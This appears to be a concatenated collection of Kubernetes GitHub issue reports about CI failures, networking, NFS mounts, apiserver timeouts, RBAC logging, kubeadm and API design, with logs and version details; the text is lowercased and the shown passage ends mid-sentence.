fluentd image should not be a part of core kubernetes. fluentd configuration should be passed via configmap.\r \r cc @fgrzadkowski @igorpeshansky @qingling128

for both macvlan and ipvlan network, the kubelet work in host net namespace can not visit net namespace pod due to this two network mode constrain. all network related livenessprobe  http and tcp  will fail.\r \r even more if the kubedns runs on apiserver node, they cannot visit each other  since apiserver run in host mode and kubedns in a separate net ns  the domain based service discovery will not work.\r \r possible solutions are creating another network namespace and put kubelet into it or use the created macvlan nic and config it to replace eth0.  they all need lots of config and error prone, is there any straight forward way to solve this problems?

consistently failure on pull-kubernetes-verify..\r    log\r i0726 14:17:15.960  success  hack/make-rules/../../hack/verify-symbols.sh\t126s\r i0726 14:17:15.960  verifying hack/make-rules/../../hack/verify-test-images.sh\r i0726 14:17:15.971  success  hack/make-rules/../../hack/verify-test-images.sh\t0s\r i0726 14:17:15.972  skipping hack/make-rules/../../hack/verify-test-owners.sh\r i0726 14:17:15.973  verifying hack/make-rules/../../hack/verify-flags-underscore.py\r i0726 14:17:45.533  success  hack/make-rules/../../hack/verify-flags-underscore.py\t30s\r i0726 14:17:45.534  makefile:126: recipe for target 'verify' failed\r w0726 14:17:45.634  make:      verify  error 1\r w0726 14:17:48.581  traceback  most recent call last :\r w0726 14:17:48.581    file \ /var/lib/jenkins/workspace/pull-kubernetes-verify/./test-infra/jenkins/../scenarios/kubernetes_verify.py\ , line 110, in <module>\r w0726 14:17:48.581      main args.branch, args.script, args.force \r w0726 14:17:48.581    file \ /var/lib/jenkins/workspace/pull-kubernetes-verify/./test-infra/jenkins/../scenarios/kubernetes_verify.py\ , line 94, in main\r w0726 14:17:48.581      'bash', '-c', 'cd kubernetes && %s' % script,\r w0726 14:17:48.582    file \ /var/lib/jenkins/workspace/pull-kubernetes-verify/./test-infra/jenkins/../scenarios/kubernetes_verify.py\ , line 52, in check\r w0726 14:17:48.582      subprocess.check_call cmd \r w0726 14:17:48.582    file \ /usr/lib/python2.7/subprocess.py\ , line 186, in check_call\r w0726 14:17:48.582      raise calledprocesserror retcode, cmd \r w0726 14:17:48.582  subprocess.calledprocesserror: command ' 'docker', 'run', '--rm=true', '--privileged=true', '-v', '/var/run/docker.sock:/var/run/docker.sock', '-v', '/etc/localtime:/etc/localtime:ro', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-verify/go/src/k8s.io/kubernetes:/go/src/k8s.io/kubernetes', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-verify/go/src/k8s.io/kubernetes/_artifacts:/workspace/artifacts', '-e', 'kube_force_verify_checks=n', '-e', 'kube_verify_git_branch=master', '-e', 'repo_dir=/var/lib/jenkins/workspace/pull-kubernetes-verify/go/src/k8s.io/kubernetes', 'gcr.io/k8s-testimages/kubekins-test:1.7-v20170713-c28e0556', 'bash', '-c', 'cd kubernetes && ./hack/jenkins/verify-dockerized.sh' ' returned non-zero exit status 2\r e0726 14:17:48.593  build failed\r i0726 14:17:48.593  process 12085 exited with code 1 after 39.9m\r e0726 14:17:48.594  fail: pull-kubernetes-verify\r i0726 14:17:48.594  upload result and artifacts...\r i0726 14:17:48.594  gubernator results at https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/49598/pull-kubernetes-verify/41706\r i0726 14:17:48.595  call:  gsutil -m -q -o gsutil:use_magicfile=true cp -r -c -z log,txt,xml _artifacts gs://kubernetes-jenkins/pr-logs/pull/49598/pull-kubernetes-verify/41706/artifacts\r i0726 14:17:50.157  process 5514 exited with code 0 after 0.0m\r i0726 14:17:50.158  call:  git rev-parse head\r i0726 14:17:50.161  process 6022 exited with code 0 after 0.0m\r

we're observing some nfs test failures on kops-aws tests.  kops on aws does not use the containerized mounter.\r \r for example:\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/56132/pull-kubernetes-e2e-kops-aws/69965/\r \r    \r i0121 02:54:06.028  jan 21 02:53:54.179: info: at 2018-01-21 02:48:44 +0000 utc - event for pvc-tester-w4q98: {kubelet ip-172-20-41-247.us-west-2.compute.internal} failedmount: mountvolume.setup failed for volume \ nfs-qjgnk\  : mount failed: exit status 32\r i0121 02:54:06.028  mounting command: systemd-run\r i0121 02:54:06.029  mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/92f5e91d-fe55-11e7-a178-0690eca8f2ac/volumes/kubernetes.io~nfs/nfs-qjgnk --scope -- mount -t nfs 100.96.3.43:/exports /var/lib/kubelet/pods/92f5e91d-fe55-11e7-a178-0690eca8f2ac/volumes/kubernetes.io~nfs/nfs-qjgnk\r i0121 02:54:06.029  output: running as unit run-30771.scope.\r i0121 02:54:06.029  mount.nfs: rpc.statd is not running but is required for remote locking.\r i0121 02:54:06.029  mount.nfs: either use '-o nolock' to keep locks local, or start statd.\r i0121 02:54:06.030  mount.nfs: an incorrect mount option was specified\r i0121 02:54:06.030  \r    \r \r is it a requirement to run rpc.statd, or should kubelet start it?  i can't see any recent code changes.  it feels like this is also flaking  rather than reliably failing , which is also confusing.\r \r we did recently have to update the image & kernel for meltdown / spectre for kops-on-aws.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  : i checked the logs of the application i am using and it says : \r caused by: java.net.unknownhostexception: mongodb: \r inside the application config file i have used the host name as mongodb and i have created a service for the mongo deployment with the service name as  : mongodb.\r \r   what you expected to happen  : \r my understanding is that we can use the service names so that application can connect to each other. help is much appreciated. thanks.\r \r   anything else we need to know?  :\r mongo.yaml\r --------------\r \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: mongodb\r   labels:\r     run: mongodb\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         run: mongodb\r     spec:\r       containers:\r       - name: mongodb\r         image: mongo\r         ports:\r         - containerport: 27017\r           protocol: tcp\r ---\r kind: service\r apiversion: v1\r metadata:\r   name: mongodb\r spec:\r   selector:\r     run: mongodb\r   ports:\r     - name: port1\r       protocol: tcp\r       port: 27017\r       targetport: 27017\r   type: nodeport\r ----------------------------\r application.yaml\r ---------------------------\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: application\r   labels:\r     run: application\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         run: application\r     spec:\r       containers:\r       - name: application\r         image: localhost:5000/application\r         ports:\r         - containerport: 8085\r           protocol: tcp\r ---\r kind: service\r apiversion: v1\r metadata:\r   name: application\r spec:\r   selector:\r     run: application\r   ports:\r     - name: port1\r       protocol: tcp\r       port: 8085\r       targetport: 8085\r   type: nodeport\r ---------------------------------\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.4\ , gitcommit:\ bee2d1505c4fe820744d26d41ecd3fdd4a3d6546\ , gittreestate:\ clean\ , builddate:\ 2018-03-12t16:29:47z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.4\ , gitcommit:\ bee2d1505c4fe820744d26d41ecd3fdd4a3d6546\ , gittreestate:\ clean\ , builddate:\ 2018-03-12t16:21:35z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release :\r name=\ red hat enterprise linux server\ \r version=\ 7.4  maipo \ \r id=\ rhel\ \r id_like=\ fedora\ \r variant=\ server\ \r variant_id=\ server\ \r version_id=\ 7.4\ \r pretty_name=\ red hat enterprise linux server 7.4  maipo \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:redhat:enterprise_linux:7.4:ga:server\ \r home_url=\ https://www.redhat.com/\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r \r redhat_bugzilla_product=\ red hat enterprise linux 7\ \r redhat_bugzilla_product_version=7.4\r redhat_support_product=\ red hat enterprise linux\ \r redhat_support_product_version=\ 7.4\ \r - kernel  e.g.  uname -a  : \r linux k8s-master 3.10.0-693.21.1.el7.x86_64  1 smp fri feb 23 18:54:16 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r @kubernetes/sig-aws-bugs\r @kubernetes/sig-network

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i wrote a simple driver program  https://github.com/mikespreitzer/k8api-scaletest/blob/2f5a8414b5da4059bb2a2b33fcdb88f40ca2e07b/cmdriverclosed/main.go  that creates configmap objects as fast as it can, and ran it like this:  cmdriverclosed --kubeconfig $myconfig -n 30103 -threads 10 -conns 10 .  in the csv file produced, two of the creates recorded an error that simply says \ timeout\ :\r    \r ...\r 2018-05-09 15:22:14.289,2018-05-09 15:22:14.299,create,\ 0509.1022.0797-30103\ ,\ \ \r 2018-05-09 15:22:11.278,2018-05-09 15:22:21.291,create,\ 0509.1022.0797-13420\ ,\ timeout\ \r 2018-05-09 15:22:12.419,2018-05-09 15:22:22.426,create,\ 0509.1022.0797-19770\ ,\ timeout\ \r 2018-05-09 15:22:22.426,2018-05-09 15:22:22.431,update,\ 0509.1022.0797-00012\ ,\ \ \r ...\r    \r \r here is an excerpt from the api-server's log:\r    \r ...\r w0508 03:28:10.651586       1 watcher.go:342  fast watcher, slow processing. number of buffered events: 100.probably caused by slow decoding, user not receiving fast, or other processing logic\r w0508 03:28:10.651615       1 watcher.go:342  fast watcher, slow processing. number of buffered events: 100.probably caused by slow decoding, user not receiving fast, or other processing logic\r w0508 03:28:10.651982       1 watcher.go:235  fast watcher, slow processing. number of buffered events: 100.probably caused by slow dispatching events to watchers\r e0509 15:22:21.291010       1 status.go:64  apiserver received an error that is not an metav1.status: timeout\r i0509 15:22:21.291138       1 trace.go:76  trace 1365056476 : \ create /api/v1/namespaces/scaletest/configmaps\   started: 2018-05-09 15:22:11.29074348 +0000 utc m=+137535.870501480   total time: 10.00038031s :\r trace 1365056476 :  10.00038031s   10.000241017s  end\r e0509 15:22:22.426011       1 status.go:64  apiserver received an error that is not an metav1.status: timeout\r i0509 15:22:22.426144       1 trace.go:76  trace 1711753668 : \ create /api/v1/namespaces/scaletest/configmaps\   started: 2018-05-09 15:22:12.425778861 +0000 utc m=+137537.005536868   total time: 10.000346361s :\r trace 1711753668 :  10.000346361s   10.000263503s  end\r w0509 15:22:29.433234       1 watcher.go:342  fast watcher, slow processing. number of buffered events: 100.probably caused by slow decoding, user not receiving fast, or other processing logic\r w0509 15:22:29.434199       1 watcher.go:342  fast watcher, slow processing. number of buffered events: 100.probably caused by slow decoding, user not receiving fast, or other processing logic\r ...\r    \r \r a few minutes later i checked that my etcd cluster is healthy; it was:\r    \r root@mjs-etcd-dal10-d:/etc/kubernetes/pki/etcd  etcdctl --endpoints=https://10.171.126.244:2379,https://10.171.126.251:2379,https://10.171.126.221:2379 --cacert ca.pem --cert client.pem --key client-key.pem endpoint health\r https://10.171.126.221:2379 is healthy: successfully committed proposal: took = 975.185µs\r https://10.171.126.251:2379 is healthy: successfully committed proposal: took = 595.302µs\r https://10.171.126.244:2379 is healthy: successfully committed proposal: took = 842.223µs\r    \r \r i also looked at the  systemctl status etcd  on each host for etcd, and each reported that etcd had been running for over a day.\r \r   what you expected to happen  :\r i expected no such problem, or at least a more informative error message.\r \r   how to reproduce it  as minimally and precisely as possible   :\r that test driver is pretty minimal.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r root@mjs-api-dal10-b:~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:10:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: softlayer bare metal machines, ssd storage on the etcd servers\r - os  e.g. from /etc/os-release : ubuntu 16.04.4 lts\r - kernel  e.g.  uname -a  : linux mjs-api-dal10-b 4.4.0-122-generic  146-ubuntu smp mon apr 23 15:34:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm driven by an ansible playbook i wrote, based on https://kubernetes.io/docs/setup/independent/high-availability/\r - others:\r

what would you like to be added  :\r \r i would like to request an additonal flag to  kubectl apply  and  possibly   create  to allow a user to download manifests from remote sources when they sit behind a proxy and cannot or do not want to manually set an environment variable. \r \r   why is this needed  :\r \r i have found many suggestions in stackoverflow  etc  on how to handle a cluster setup sitting behind a  corporate  proxy. it is often suggested to add  https_proxy  and  no_proxy  to your environment. afterwards it is possible to download manifests from external sources via  kubectl apply  and skip proxy usage when querying the kube api via  kubectl get  or something similar. \r \r two problems emerge: \r \r - this approach is only working if the user uses an interactive shell in which environment variables set via  export  or sourced from  /etc/profile  apply. if he executes a command remotely  i.e. via ssh  on some cluster node, the environment variables do not apply and you would have to append it to  kubectl  anyways.\r - you need to specify a  no_proxy  variable to handle all traffic that is destined for your cluster api instead of your proxy server. this variable does not allow setting network ranges in cidr style. if you add all ips from the service cidr and cluster cidr to this variable, it grows huge and might have a negative impact on system performance.\r \r my specific case is the following: \r i'm trying to set up a cluster automatically via puppet. since puppet does not use an interactive shell  i guess it executes remote commands , env variables stored in  /etc/profile/  are not going to apply to this session.\r \r let me know what you think! if any clarifications are needed, i am going to update my request accordingly.

the unversioned concept is not needed.  every object demonstrably has a schema that constitutes a single version  there is no object without a version .  unversioned is a limited concept intended to solve two cases - api objects that are not retrieved in the context of a locked version  /apis/, /api/, status errors encountered outside a scheme , and the reuse of objects across versions.  the latter is better served by type aliasing  declaring that v1beta1 status has the equivalent to schema of v1 status  or type duplication  copy v1 status into v1beta1 and register it .  the former still has a schema that requires exposure through swagger, and for which certain code that already handles versioned code is directly better.  the contract of backwards compatibility for unversioned api endpoints requires that we not deliver backwards incompatible schemas to clients, but that does not limit us to the exposure of new api groups on different server implementations that have newer implementations of status.  the unversioned package should be changed: - we should create a \ v1\  unversioned package  indicating these are versioned types  that contains everything in \ v1\ .     - the parent package name should be renamed to \ common\  or \ server\    - no backwards incompatible changes are allowed in this package  same statement as today    - we can put common types into here that individual implementations of apis get to pick from - for instance, an api can choose to take v1 status or v2 status - api status, when returned by an api versioned url path   /apis/group/version/    should be versioned - the go type  common/v1/status  should be registered into each api version under the name  status , and the returned group and version of the object from the api would be the group and version they are under - top level, non-version-lockedapis should return  kind: \ status\ , version: \ v1\   which is backwards compatible with what we launched with.  that means they obey the schema registered under \ version 1\  which is in the legacy group. - any new top level object returned from a non-locked api today should return version \ v1\   apigroup, others    - in the future, when we have to add incompatible objects, we will rev the whole server endpoint   /apis.2/  etc   the changes above mean that there is no need for internal versions to know about \ unversioned\  - they always have an api group they serve from  unversioned is v1 .  encoding will properly fail if the type is not registered and locked into a type.  we will declare that any object retrieved outside of a versioned endpoint must be added to the  common/v1  package, and otherwise requires no special handling.  examples: -  /api/  returns  v1 status  -  /apis/  returns  v1 apigrouplist  - a 403 error on  /api/  returns  v1 status  - a 403 error on  /api/v1/foo  returns  v1 status  - a 403 error on  /apis/extensions/v1beta1/foo  returns  v1beta1 status  - swagger returns  v1beta1 status  for extensions that has the same schema as  v1 status   @kubernetes/sig-api-machinery

kubernetes version    use  kubectl version  :      admin@ip-10-0-79-45:~$ kubectl version client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:16:57z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:10:32z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release : jessie -   kernel    e.g.  uname -a  :  linux ip-10-0-9-45 4.4.23-k8s  1 smp fri sep 30 13:51:02 utc 2016 x86_64 gnu/linux  -   install tools  : kops -   others  :    what happened  : built 3 master/3 node cluster in three azs.  received the following error message everywhere from 5 minutes apart to 30 minutes apart.  e1007 19:56:01.582845      11 routecontroller.go:197  error updating node ip-10-0-8-177.us-west-2.compute.internal, retrying: operation cannot be fulfilled on nodes \ ip-10-0-8-177.us-west-2.compute.internal\ : <nil> .    everything seems to be working ok so i don't believe there is an impact to the cluster at this point.    how to reproduce it    as minimally and precisely as possible : this occurred in a fresh cluster with just the dashboard addon running.  but i have also seen it in most of my test clusters i have built also.

for the pr https://github.com/kubernetes/kubernetes/pull/40694 which is a cherry pick the jenkins cri gce node e2e\ttest is failing.\r \r    \r w0130 09:42:09.789      img,\r w0130 09:42:09.790    file \ /var/lib/jenkins/workspace/pull-kubernetes-node-e2e-cri/./test-infra/jenkins/../scenarios/kubernetes_kubelet.py\ , line 44, in check\r w0130 09:42:09.790      subprocess.check_call cmd \r w0130 09:42:09.790    file \ /usr/lib/python2.7/subprocess.py\ , line 540, in check_call\r w0130 09:42:09.790      raise calledprocesserror retcode, cmd \r w0130 09:42:09.791  subprocess.calledprocesserror: command ' 'docker', 'run', '--rm=true', '-v', '/etc/localtime:/etc/localtime:ro', '-v', '/var/run/docker.sock:/var/run/docker.sock', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-node-e2e-cri/go/src/k8s.io/kubernetes:/go/src/k8s.io/kubernetes', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-node-e2e-cri/go/src/k8s.io/kubernetes/_artifacts:/workspace/_artifacts', '-v', '/var/lib/jenkins/workspace/pull-kubernetes-node-e2e-cri@tmp/secretfiles/c76be297-efb2-44a3-9093-5ecf2128dc83/kubernetes-jenkins-pull-c67f9519f993.json:/service-account.json:ro', '-v', '/home/jenkins/.ssh/google_compute_engine:/root/.ssh/google_compute_engine:ro', '-v', '/home/jenkins/.ssh/google_compute_engine.pub:/root/.ssh/google_compute_engine.pub:ro', '-e', 'gce_user=jenkins', '-e', 'google_application_credentials=/service-account.json', '-e', 'jenkins_gce_ssh_private_key_file=/root/.ssh/google_compute_engine', '-e', 'jenkins_gce_ssh_public_key_file=/root/.ssh/google_compute_engine.pub', '-e', 'node_test_properties=test/e2e_node/jenkins/cri_validation/jenkins-pull.properties', '-e', 'node_test_script=./test/e2e_node/jenkins/e2e-node-jenkins.sh', '-e', 'repo_dir=/var/lib/jenkins/workspace/pull-kubernetes-node-e2e-cri/go/src/k8s.io/kubernetes', 'gcr.io/k8s-testimages/kubekins-node:1.6-latest' ' returned non-zero exit status 1\r e0130 09:42:09.795  build failed\r i0130 09:42:09.795  process 16341 exited with code 1 after 0.9m\r

the stop   method in the federated informer races with deletecluster   in how they both try to close  stopchan . thanks for the heads up @marun

glbc v0.9.5 was built with an old version of the gce cloudprovider which did not allow unknown key-value pairs in gce.conf.  manifest file must be updated to 0.9.6.\r \r   /area platform/gce\r /assign\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r tests about https://github.com/kubernetes/kubernetes/pull/51889 always generate pull-kubernetes-federation-e2e-gce failure. seems not relevant to the pr https://github.com/kubernetes/kubernetes/pull/51889 after checking the details. \r \r   log:  \r i0911 10:09:03.239  process 22525 exited with code 0 after 0.5m\r i0911 10:09:03.239  call:  git checkout -b test db809c0eb7d33fac8f54d8735211f2f3a8fc4214\r w0911 10:09:04.570  switched to a new branch 'test'\r i0911 10:09:04.582  process 22538 exited with code 0 after 0.0m\r i0911 10:09:04.583  call:  git merge --no-ff -m 'merge +refs/pull/51889/head:refs/pr/51889' 3e3f9990ddfc3a003aad71340dc1294daa6764f6\r i0911 10:09:05.164  merge made by the 'recursive' strategy.\r i0911 10:09:05.169   plugin/pkg/scheduler/algorithm/predicates/error.go |  39 +++----\r i0911 10:09:05.169   .../scheduler/algorithm/predicates/predicates.go   |  44 ++++----\r i0911 10:09:05.169   .../algorithm/predicates/predicates_test.go        | 115 +++++++++++++--------\r i0911 10:09:05.169   3 files changed, 114 insertions + , 84 deletions - \r i0911 10:09:05.170  process 22539 exited with code 0 after 0.0m\r i0911 10:09:05.170  checkout: /var/lib/jenkins/workspace/pull-kubernetes-federation-e2e-gce/go/src/k8s.io/release master\r i0911 10:09:05.170  call:  git init k8s.io/release\r ... skipping 573 lines ...\r i0911 10:22:30.580  md5sum kubernetes-test.tar.gz =0225e5099a5d437c9f404a5302ae54c7\r i0911 10:22:31.161  sha1sum kubernetes-test.tar.gz =7528c3aada4254ce0458942a7eb928207940ffb7\r i0911 10:22:31.161  \r i0911 10:22:31.162  extracting kubernetes-test.tar.gz into /workspace/kubernetes\r w0911 10:22:38.006  2017/09/11 10:22:38 util.go:131: step './get-kube.sh' finished in 11.992213626s\r w0911 10:22:38.006  2017/09/11 10:22:38 util.go:129: running: ./federation/cluster/federation-down.sh\r    w0911 10:22:38.195  error: context \ e2e-f8n-agent-pr-52-0\  does not exist   \r i0911 10:22:38.296  cleaning federation control plane objects\r i0911 10:22:38.608  no resources found\r i0911 10:22:39.115  no resources found\r i0911 10:22:39.263  +++  0911 10:22:39  removing namespace \ f8n-system-agent-pr-52-0\ , cluster role \ federation-controller-manager:e2e-f8n-agent-pr-52-0-federation-e2e-gce-us-central1-a-federation-e2e-gce-us-central1-f\  and cluster role binding \ federation-controller-manager:e2e-f8n-agent-pr-52-0-federation-e2e-gce-us-central1-a-federation-e2e-gce-us-central1-f\  from \ federation-e2e-gce-us-central1-a\ \r i0911 10:22:39.263  +++  0911 10:22:39  removing namespace \ f8n-system-agent-pr-52-0\ , cluster role \ federation-controller-manager:e2e-f8n-agent-pr-52-0-federation-e2e-gce-us-central1-b-federation-e2e-gce-us-central1-f\  and cluster role binding \ federation-controller-manager:e2e-f8n-agent-pr-52-0-federation-e2e-gce-us-central1-b-federation-e2e-gce-us-central1-f\  from \ federation-e2e-gce-us-central1-b\ \r i0911 10:22:39.263  +++  0911 10:22:39  removing namespace \ f8n-system-agent-pr-52-0\ , cluster role \ federation-controller-manager:e2e-f8n-agent-pr-52-0-federation-e2e-gce-us-central1-f-federation-e2e-gce-us-central1-f\  and cluster role binding \ federation-controller-manager:e2e-f8n-agent-pr-52-0-federation-e2e-gce-us-central1-f-federation-e2e-gce-us-central1-f\  from \ federation-e2e-gce-us-central1-f\ \r ... skipping 20 lines ...\r i0911 10:44:42.118  creating federation control plane service...................................................................................................................................................................................................................................................dumping federation and dns pod logs to /workspace/_artifacts\r w0911 10:44:42.219  i0911 10:24:42.157731    4041 init.go:305  creating a namespace f8n-system-agent-pr-52-0 for federation system components\r w0911 10:44:42.219  i0911 10:24:42.179313    4041 init.go:314  creating federation control plane service\r w0911 10:44:42.219  2017/09/11 10:44:42 util.go:131: step './federation/cluster/federation-up.sh' finished in 20m0.402805001s\r w0911 10:44:42.219  2017/09/11 10:44:42 e2e.go:460: dumping federation logs to: /workspace/_artifacts\r w0911 10:44:42.219  2017/09/11 10:44:42 util.go:129: running: ./federation/cluster/log-dump.sh /workspace/_artifacts\r    w0911 10:44:42.620  error from server  internalerror : internal error occurred: authorization error  user=kube-apiserver, verb=get, resource=nodes, subresource=proxy    \r w0911 10:44:42.623  2017/09/11 10:44:42 util.go:131: step './federation/cluster/log-dump.sh /workspace/_artifacts' finished in 553.886159ms\r    w0911 10:44:42.623  2017/09/11 10:44:42 util.go:129: running: ./federation/cluster/federation-down.sh   \r    w0911 10:44:42.812  error: context \ e2e-f8n-agent-pr-52-0\  does not exist   \r i0911 10:44:42.913  cleaning federation control plane objects\r i0911 10:44:43.028  service \ e2e-f8n-agent-pr-52-0-apiserver\  deleted\r i0911 10:44:43.555  secret \ default-token-d678j\  deleted\r \r   what you expected to happen  :\r \r pull-kubernetes-federation-e2e-gce test pass.\r \r   how to reproduce it  as minimally and precisely as possible   :\r just trigger the test job.\r \r   anything else we need to know?  :\r none\r \r @kubernetes/test-infra-maintainers

is this a bug report or feature request?  :\r  \r   what happened  :\r \r for extremely high volumes of requests  e.g. many pod create requests, each doing many psp authorization calls, detailed  here  https://docs.google.com/document/d/1iichhe_no1kmaybw5kriphdn325ega2sxf2eqg2yapi/edit   , the log line in the rbac authorizer becomes a bottleneck:\r \r https://github.com/kubernetes/kubernetes/blob/cbdd18eee97369197dc3db0d3c85bf261e529903/plugin/pkg/auth/authorizer/rbac/rbac.go l116\r \r   what you expected to happen  :\r \r i expect rbac to be able to handle high volumes of simultaneous authorizations. a couple options include:\r \r - raise the verbosity level on that log, basically disabling it when high performance is a concern  suggested by @liggitt , now that we have better audit logging \r - throttling the log write rate, skipping writes when the rate is too high\r - buffering the log  maybe in combination with the throttle \r \r either way, the podsecuritypolicy case is not working as intended, i don't think writing thousands of denies for podsecuritypolicies to the log is useful  we could also just skip logging on the  use  verb .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r see  podsecuritypolicy scale testing  https://docs.google.com/document/d/1iichhe_no1kmaybw5kriphdn325ega2sxf2eqg2yapi/edit heading=h.1ns3f93w7sor   although it will be somewhat fixed by https://github.com/kubernetes/kubernetes/pull/55643 \r \r /cc @kubernetes/sig-scalability-bugs @kubernetes/sig-auth-bugs

rktnetes is scheduled to be deprecated in 1.10   53601 . according to the  deprecation policy  https://kubernetes.io/docs/reference/deprecation-policy/  for beta cli and flags, we can remove the feature in 1.11.\r \r @kubernetes/sig-node-api-reviews \r \r

\r   what happened  : kubeadm init always hang. the kube-apiserver docker instance it's always being reacreated around every each3 minutes.\r \r   what you expected to happen  : to complete the kubeadm init\r \r   how to reproduce it  as minimally and precisely as possible   : i've defined this vagrantfile https://github.com/pablotoledo/kubernetes-poc/blob/master/vagrantfile and the error is when i'm defining the master node role.\r \r \r   anything else we need to know?  :\r \r   environment  : vms with virtualbox. \r - kubernetes version  use  kubectl version  : major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ \r - cloud provider or hardware configuration: i'm using virtualbox on windows 10 with a 32gb ram laptop\r - os  e.g. from /etc/os-release : centos 7  vagrantbox \r - kernel  e.g.  uname -a  : linux master.k8s.int 3.10.0-693.17.1.el7.x86_64  1 smp thu jan 25 20:13:58 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others:\r

is this a bug report or feature request?  :\r  \r   what happened  :\r we have python tasks running on kube pods that need to communicate with each other. we run commands in one pod, from another pod, by using connect_get_namespaced_pod_exec  1  via the kubernetes python api, which, if we understand correctly, is a wrapper for 'kubectl exec'.\r once in a while the tasks seem to hang after the stream call sending the command to the other task/pod.\r the issue is that the call never seems to return, which makes the tasks hang forever and the underlying pods appears running without any error.\r we don’t have a proper fix, we have to delete the pod and re-create it completely, which most likely leads to the task then terminating successfully.\r \r is it a problematic practice to regularly run commands inside a pod with kubectl exec as part of an application's logic? can we expect this interface to be stable?\r \r  1  https://github.com/kubernetes-client/python/blob/master/kubernetes/docs/corev1api.md connect_get_namespaced_pod_exec\r \r   what you expected to happen  :\r most of the time, the websocket calls return, which is what we expect. right now, even if the underlying socket is actually being terminated or the connection timing out  i don’t know if that is the case though , the call itself never returns.\r \r   how to reproduce it  as minimally and precisely as possible   :\r we don’t have a systematic way to reproduce the issue. we have python tasks that do the following:\r \r from kubernetes.client.apis import core_v1_api\r from kubernetes.stream import stream\r \r def some_method_in_some_class self, cmd: str :\r     self.api = core_v1_api.corev1api  \r      … \r       the call below hangs sometimes\r     return_value = stream \r             self.api.connect_get_namespaced_pod_exec,\r             self.web_pod_name,\r             self.namespace,\r             command= 'airflow'  + cmd,\r             container='web',\r             stdin='true',\r             stdout='true’ \r      … \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1   1.9.7-gke.5 \r - cloud provider or hardware configuration: google cloud / gke cluster\r - os  e.g. from /etc/os-release : linux\r \r 

\r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i was reading the docs about pod affinity and wanted to understand how to ensure podantiaffinity applies across namespaces.\r \r the concepts docs at https://kubernetes.io/docs/concepts/configuration/assign-pod-node/ says:\r > in addition to labelselector and topologykey, you can optionally specify a list namespaces of namespaces which the labelselector should match against  this goes at the same level of the definition as labelselector and topologykey . if omitted, it defaults to the namespace of the pod where the affinity/anti-affinity definition appears. if defined but empty, it means “all namespaces”.\r \r the api reference under podaffinityterm at https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.10/ podaffinityterm-v1-core says:\r > namespaces specifies which namespaces the labelselector applies to  matches against ; null or empty list means \ this pod's namespace\ \r \r ie, the former says that the empty list means \ all namespaces\  and the latter says that the empty list means \ this pod's namespace\ .\r \r i am not yet sure which one is 